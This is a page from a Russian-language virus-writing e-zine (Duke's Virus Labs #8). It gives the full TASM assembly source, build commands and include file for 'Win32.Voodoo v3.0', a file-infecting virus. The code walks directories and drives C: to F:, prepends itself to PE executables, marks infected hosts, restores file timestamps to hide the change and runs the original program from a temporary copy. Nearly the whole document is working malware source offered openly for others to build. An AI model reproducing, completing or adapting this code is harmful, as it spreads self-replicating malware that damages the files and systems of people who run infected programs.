- [Duke's Virus Labs #8] - [Page 13] - Win32.Voodoo aka Voodoo v3.0 (c) by Voodoo/SMF Имя вируса : Voodoo v3.0 (по моей классификации :) Автор : Voodoo/SMF Язык прогр. : TASM Дата создания : 30.07.1999 Реакция AV : none Заражает : PE-EXE Деструкция : none Этот вир является моим первым шагом в WIN32API. Мой E-mail voodoo_imishli@mail.ru. Буду рад выслушать вашу критику, вопросы, замечания, пожелания. P.S. Вот и я написал модного зверя по вин32 ! ;) COMPILATION: tasm32 /ml /m3 wvoodoo.asm,,; tlink32 /Tpe /aa /c /v wvoodoo.obj,,, import32.lib, ===== begin wvoodoo.asm ===== .386p .model flat include wvoodoo.inc ; описание импорта .DATA mask db '*.EXE',0 Dirmask db '*.*',0 disk db 'c:\',0 str_ db 'Magic People-Voodoo People !' DiskCount EQU 4 VIRUSSIZE EQU 7045 ; размер EXE файла вместе со всеми потрохами .DATA? ProcessInfo dd 4 dup (?) ExitCode dd ? HhendleOfFile dd ? HhendleOfFile2 dd ? HhendleOfMapFile dd ? Pointer2MapFile dd ? FileSize dd ? tag db ? I_am db ? NumberOfBytesRead dd ? parameters DD ? startInfo dd 17 dup (?) CommandLine dd 200 dup (?) Win32FindData dd 11 dup (?) CreationTime equ offset Win32FindData+4 LastAccessTime equ offset CreationTime+4 LastWriteTime equ offset LastAccessTime+4 files dd 200 dup (?) buf db VIRUSSIZE dup (?) SearcHandle dd ? SearcHandle2 dd ? CurDir dd 200 dup (?) CurDir2 dd 200 dup (?) .CODE Voodoo_Ver_3_0: ;-- Paluchim Command line --- push offset startInfo call GetStartupInfoA call GetCommandLineA mov esi,eax cmp byte ptr [esi+1],':' ;for win9x je NormalCommandLine inc eax NormalCommandLine: push eax push offset CommandLine call lstrcpyA mov esi,offset CommandLine @L1: inc esi cmp byte ptr [esi],'.' jne @L1 mov byte ptr [esi+4],0 mov parameters,esi push NULL push FILE_ATTRIBUTE_ARCHIVE push OPEN_EXISTING push NULL push FILE_SHARE_READ ;or FILE_SHARE_WRITE push GENERIC_READ ;or GENERIC_WRITE push offset CommandLine call CreateFileA mov HhendleOfFile,eax push eax push NULL push offset NumberOfBytesRead push VIRUSSIZE push offset buf push eax call ReadFile pop eax push NULL push eax call GetFileSize mov FileSize,eax cmp eax,VIRUSSIZE je ITS_ME ; Create New Map File mov esi,parameters MOV DWORD ptr [esi],04d4f432eh cmp DWORD ptr [esi+5],024242424h je DellTempFile push NULL push FILE_ATTRIBUTE_ARCHIVE ; push OPEN_ALWAYS push NULL push FILE_SHARE_READ or FILE_SHARE_WRITE push GENERIC_READ or GENERIC_WRITE ; push offset CommandLine ; call CreateFileA mov HhendleOfFile2,eax ;save HhendleOfFile to use push NULL push dword ptr FileSize ; size of file mapping push NULL push PAGE_READWRITE push NULL push dword ptr [HhendleOfFile2] call CreateFileMappingA mov HhendleOfMapFile,eax push dword ptr FileSize push 0 push 0 push FILE_MAP_WRITE push eax ;HhendleOfMapFile call MapViewOfFile mov Pointer2MapFile,eax ; read real programm push NULL push offset NumberOfBytesRead push dword ptr FileSize push eax ;Pointer2MapFile push dword ptr HhendleOfFile call ReadFile push NULL push dword ptr Pointer2MapFile call FlushViewOfFile Push Pointer2MapFile call UnmapViewOfFile push dword ptr HhendleOfMapFile call CloseHandle push dword ptr HhendleOfFile2 call CloseHandle ; Exec real programm push offset ProcessInfo push offset startInfo push NULL push NULL push NORMAL_PRIORITY_CLASS push NULL push NULL push NULL MOV ESI,parameters mov byte ptr [ESI+4],20h push offset CommandLine push NULL call CreateProcessA jmp L1 ITS_ME: mov byte ptr I_am,1 L1: push dword ptr [HhendleOfFile] call CloseHandle call Infect ExitFromProc: cmp byte ptr I_am,1 je ExitPr WaitForProcessExit: push offset ExitCode push dword ptr [ProcessInfo] ;ProcessHendle call GetExitCodeProcess cmp dword ptr [ExitCode],0 je DellBakcapFile jmp WaitForProcessExit DellBakcapFile: ; Exec programm2DelCom push offset ProcessInfo push offset startInfo push NULL push NULL push NORMAL_PRIORITY_CLASS push NULL push NULL push NULL MOV ESI,parameters mov byte ptr [ESI+4],20h mov dword ptr [ESI],04558452eh mov dword ptr [ESI+5],024242424h push offset CommandLine push NULL ;offset CommandLine call CreateProcessA ExitPr: push 0 call ExitProcess DellTempFile:push offset CommandLine call DeleteFileA jmp ExitPr Infect: push offset CurDir push 800 call GetCurrentDirectoryA call InfectDir mov ecx,DiskCount Scan: push ecx push offset disk call SetCurrentDirectoryA call InfectDir inc byte ptr disk pop ecx loop Scan push offset CurDir call SetCurrentDirectoryA jmp l2 Exit_ : ret InfectDir: push offset CurDir2 push 800 call GetCurrentDirectoryA push offset Win32FindData push offset Dirmask call FindFirstFileA mov dword ptr [SearcHandle],eax l2: push offset Win32FindData push dword ptr [SearcHandle] call FindNextFileA or eax,eax jz ExitFromProcInfectDir cmp byte ptr [files],'.' je l2 mov eax,[Win32FindData] and eax,FILE_ATTRIBUTE_DIRECTORY jz l2 ;set new dir push offset CurDir2 call SetCurrentDirectoryA push offset files call SetCurrentDirectoryA push offset Win32FindData push offset mask call FindFirstFileA mov dword ptr [SearcHandle2],eax cmp eax,-1 je l2 Next: or eax,eax jz l2 call Infect_File push offset Win32FindData push dword ptr [SearcHandle2] call FindNextFileA jmp Next ExitFromProcInfectDir: ret Infect_File: push 00000020h push offset files call SetFileAttributesA push NULL push FILE_ATTRIBUTE_ARCHIVE push OPEN_EXISTING push NULL push FILE_SHARE_READ or FILE_SHARE_WRITE push GENERIC_READ or GENERIC_WRITE push offset files call CreateFileA CMP eax,-1 je error mov HhendleOfFile,eax ;save HhendleOfFile to use push NULL push eax call GetFileSize mov FileSize,eax Point@ret: push eax ; to MApViewofFile push NULL push eax push NULL push PAGE_READWRITE push NULL push dword ptr [HhendleOfFile] call CreateFileMappingA mov HhendleOfMapFile,eax ; v steke Size push 0 push 0 push FILE_MAP_WRITE push eax call MapViewOfFile cmp byte ptr tag,1 je OkOb mov esi,eax mov edi,dword ptr [esi+3ch] cmp dword ptr [esi+edi],00004550h ;PE Only ! jne OOO cmp dword ptr [esi+6fh],334e4957h ;'WIN3' Infected ? je OOO call CloseMapping mov byte ptr tag,1 mov eax,dword ptr FileSize add eax,VIRUSSIZE jmp Point@ret OkOb: mov byte ptr tag,0 mov Pointer2MapFile,eax push edi push esi push ecx pushf add eax,dword ptr FileSize add eax,VIRUSSIZE -1 mov edi,eax mov esi,dword ptr Pointer2MapFile add esi,dword ptr FileSize mov ecx,dword ptr FileSize ;size of exe file DEC ESI std rep movsb mov edi,dword ptr Pointer2MapFile xor eax,eax mov ecx,VIRUSSIZE cld rep STOSB mov edi,dword ptr Pointer2MapFile mov esi,offset buf mov ecx,VIRUSSIZE cld rep movsb popf pop ecx pop esi pop edi OOO: call CloseMapping push LastWriteTime push LastAccessTime push CreationTime push dword ptr HhendleOfFile call SetFileTime push dword ptr HhendleOfFile call CloseHandle error: push dword ptr Win32FindData push offset files call SetFileAttributesA ret CloseMapping: push Pointer2MapFile call UnmapViewOfFile push dword ptr HhendleOfMapFile call CloseHandle ret enddatt: Ends End Voodoo_Ver_3_0 ===== end wvoodoo.asm ===== ===== begin wvoodoo.inc ===== NULL = 0 ; GlobalAlloc flags GMEM_FIXED = 0000h GMEM_MOVEABLE = 0002h GMEM_NOCOMPACT = 0010h GMEM_NODISCARD = 0020h GMEM_ZEROINIT = 0040h GMEM_MODIFY = 0080h GMEM_DISCARDABLE= 0100h GMEM_NOT_BANKED = 1000h GMEM_DDESHARE = 2000h GMEM_SHARE = 2000h GMEM_NOTIFY = 4000h GMEM_LOWER = GMEM_NOT_BANKED GHND = GMEM_MOVEABLE+GMEM_ZEROINIT GPTR = GMEM_FIXED+GMEM_ZEROINIT ;----------- FILE_ATTRIBUTE_READONLY = 00000001h FILE_ATTRIBUTE_HIDDEN = 00000002h FILE_ATTRIBUTE_SYSTEM = 00000004h FILE_ATTRIBUTE_DIRECTORY = 00000010h FILE_ATTRIBUTE_ARCHIVE = 00000020h FILE_ATTRIBUTE_NORMAL = 00000080h FILE_ATTRIBUTE_TEMPORARY = 00000100h ;----------- FILE_FLAG_WRITE_THROUGH = 80000000h FILE_FLAG_OVERLAPPED = 40000000h FILE_FLAG_NO_BUFFERING = 20000000h FILE_FLAG_RANDOM_ACCESS = 10000000h FILE_FLAG_SEQUENTIAL_SCAN = 08000000h FILE_FLAG_DELETE_ON_CLOSE = 4000000h FILE_FLAG_BACKUP_SEMANTICS = 02000000h FILE_FLAG_POSIX_SEMANTICS = 01000000h ;------------------------ CREATE_NEW = 1 CREATE_ALWAYS = 2 OPEN_EXISTING = 3 OPEN_ALWAYS = 4 TRUNCATE_EXISTING = 5 ;----------- GENERIC_READ = 80000000h GENERIC_WRITE = 40000000h FILE_SHARE_READ = 00000001h FILE_SHARE_WRITE = 00000002h ;----------- PAGE_NOACCESS = 01h PAGE_READONLY = 02h PAGE_READWRITE = 04h PAGE_WRITECOPY = 08h PAGE_EXECUTE = 10h PAGE_EXECUTE_READ = 20h PAGE_EXECUTE_READWRITE = 40h PAGE_EXECUTE_WRITECOPY = 80h PAGE_GUARD = 100h PAGE_NOCACHE = 200h ;------------------- FILE_MAP_WRITE = 2 FILE_MAP_Read = 4 ;------------------- NORMAL_PRIORITY_CLASS = 00000020h IDLE_PRIORITY_CLASS = 00000040h HIGH_PRIORITY_CLASS = 00000080h REALTIME_PRIORITY_CLASS = 00000100h ;-------------------- EXCEPTION_DEBUG_EVENT = 1 CREATE_THREAD_DEBUG_EVENT = 2 CREATE_PROCESS_DEBUG_EVENT = 3 EXIT_THREAD_DEBUG_EVENT = 4 EXIT_PROCESS_DEBUG_EVENT = 5 LOAD_DLL_DEBUG_EVENT = 6 UNLOAD_DLL_DEBUG_EVENT = 7 OUTPUT_DEBUG_STRING_EVENT = 8 RIP_EVENT = 9 ;-------------------- PROCESS_ALL_ACCESS = 0F0000h or 00100000h or 0FFFh ;-------------------- locals extrn ExitProcess:PROC extrn GetProcAddress:PROC extrn GetModuleHandleA:PROC extrn MessageBoxA:PROC extrn GlobalAlloc:PROC ; retern HGLOBAL ; UINT Flags object allocation attributes ; DWORD dwBytes mumber of bytes to allocate extrn GlobalLock:PROC ;Pointer to mem ; HGLOBAL hMem address of global memory object extrn GlobalUnlock:PROC ; HGLOBAL hMem address of global memory object extrn GlobalFree:PROC ;HGlobal hMem handle to the global memory object ;---- file mapping -------------------------------------- extrn CreateFileA:PROC ;Retern HANDLE ;Parametrs: LPCTSTR :LpFileName ; DWORD :dwDesiredAccess (read-write) ; DWORD : dwShareMode ; LPSECURITY_ATTRIBTES :LpSecurityAttrib address of security descriptor ; DWORD :dwCreationDistribution //how to creat ; DWORD :dwFlagsAndAttributes ; HANDLE :hTemplateFile //handle of file with attrib to copy extrn CreateFileMappingA:PROC ;Retern HANDLE ; PARAMMETRS HANDLE :hfile //handle of file map ; LpSecurity_Attributes LpFileMappingAttributes //optional security attrib ; Dword :flProtect ; Dword :dwMaxSizeHigh ; Dword :dwMaxSizeLow ; LPCTSTR :lpName //name of file-mapping object extrn MapViewOfFile:PROC ;(hFileMappingObject:HANDLE, ; dwDesiredAccess:dw, ; dwFileOffsetHigh, ; dwFileOffsetLow, ; dwNumberOfBytesToMap) ; ; ; extrn UnmapViewOfFile:PROC extrn CloseHandle:PROC extrn FlushViewOfFile:PROC;(LpBaseAddress,dwNumberOfBytesToFlush) ;-------------------------------------------------------- extrn GetFileSize:PROC ; (hFile,LPDWORD LpFileSizeHigh) extrn CopyFileA:PROC ;(LpExistingFileName,LpNewFileName) extrn ReadFile:PROC ;(hFile,LpBuffer,nMumberOfBytesToRead, ; LpNumberOfBytesRead,LpOverlapped) extrn DeleteFileA :PROC;(LpFileName) ; extrn GetLastError :PROC; extrn CreateProcessA:PROC; extrn GetStartupInfoA:PROC; extrn GetCommandLineA:PROC; extrn lstrcpyA:PROC; extrn FindFirstFileA:PROC extrn FindNextFileA:PROC extrn Sleep:PROC ;(dwMilliseconds) extrn SetFileAttributesA:PROC;(LpFileName,dwFileAttributes) extrn SetFileTime:PROC; extrn SetCurrentDirectoryA:PROC; extrn GetCurrentDirectoryA:PROC; extrn GetExitCodeProcess:PROC; ===== end wvoodoo.inc =====